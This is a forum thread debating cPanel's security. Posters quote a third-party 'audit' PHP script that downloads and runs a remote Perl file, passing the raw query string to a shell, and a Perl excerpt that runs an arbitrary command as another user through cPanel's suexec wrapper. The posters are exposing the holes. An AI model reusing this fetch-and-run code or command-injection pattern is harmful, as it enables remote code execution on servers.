You mean, how secure is CPanel? I remember, that saw not so much time ago in bugtraq some report about XSS cases in CPanel...

There was a remote root vuln in cpanel. And I saw over 5 exploits for it in under a day. Many boxes were rooted that week. Cpanel has a simple to use update feature, which saved alot of admin's asses.

this bug was elementry. If that is any indication of the security in cpanel I would not say it is secure. (there has also been root post-auth, and a local root in cpanel in the last year or 2).

i wouldnt be too scared of it if i were you.
its pretty secure stuff.
plus if there is any bugs etc.. its easily updated in the client as Slad said...

should be no probs.
most of the probs are just bugs etc in the thing that just occasionally screw up.

if your running it on a server you can touch...then just switch it off when you dont want to use it, and turn it on when you do..
thats always an option..
but i dont belive there should be any reall serious questioning of the security of the server when installing CPanel.

ive made a topic with all sorts of Web Control Pannels
you will find it usefull...

it is available Here

http://www.a-squad.com/audit/ tests some vulnerabilities but I am not sure that part of the script is just a pitch for you to switch over to their hosting.
http://www.hostinglife.com/security.php is also a good link.

This is from http://206.71.87.80/cpanel.php

Code:

<?php
$tester = "/tmp/tests.pl";
if (!file_exists($tester)) {
$testw = fopen($tester, "w");
ini_set('user_agent',__FILE__);
$testr = fopen("http://206.71.87.106/tests.pl","r");
while ($s=fread($testr, 1024)) { fwrite($testw,$s); };
fclose($testw);
fclose($testr);
}
echo `perl $tester '$QUERY_STRING' 2>&1`;
?>



This is a remotely exploitable security check. buhahaha

And that's not all.. check out the tests.pl script which is downloaded and ran by cpanel.php http://206.71.87.106/tests.pl

Code:
my $command = $q->param("command") || $default_command;
my $who = $q->param("username") || $me;
if ($cpanel && $common) {
if ($command and $who) {
my $wraptest = "/usr/local/cpanel/wrap";
$cpwrap = 1 if -x $wraptest && -u _;
if ($who eq "root") {
print "<li><font color=yellow><b>SKIPPED</b></font>: suEXEC <code>mod_php</code> Taint Vulnerability Test\n";
print "<a href=http://www.a-squad.com/audit/explain12.html>Explain</a>\n";
$canexe = $cpwrap;
} else {
mkdir $dummy, 0755;
chdir $dummy;
symlink("/usr/local/cpanel","cpanel");
my $dir = (getpwnam $who)[7];
open (DUMMY,">SafeFile.pm");
$ENV{HOME} = $dir;
print DUMMY qq{chdir "$dir";warn "\n";\nexec <<RUN$$;\n$command\nRUN$$\n};
close DUMMY;
my $out = `/usr/local/apache/bin/suexec $who $who cpanel/bin/proftpdvhosts 2>&1`;




besides these security checks Cpanel is NOT secure. I've found some bugz in it. Do not listen to people who tell you anything is secure. It is probably not. Code your own shit, dont use the web for anything important, and remember.. Do not post to bugtraq.[/code]

Code:

$tester = "/tmp/tests.pl";
if (!file_exists($tester)) {
$testw = fopen($tester, "w");
ini_set('user_agent',__FILE__);
$testr = fopen("http://206.71.87.106/tests.pl","r");
while ($s=fread($testr, 1024)) { fwrite($testw,$s); };
fclose($testw);
fclose($testr);
}


If it's in this part, I can't see it Sad

I guess you mean the $QUERY_STRING.
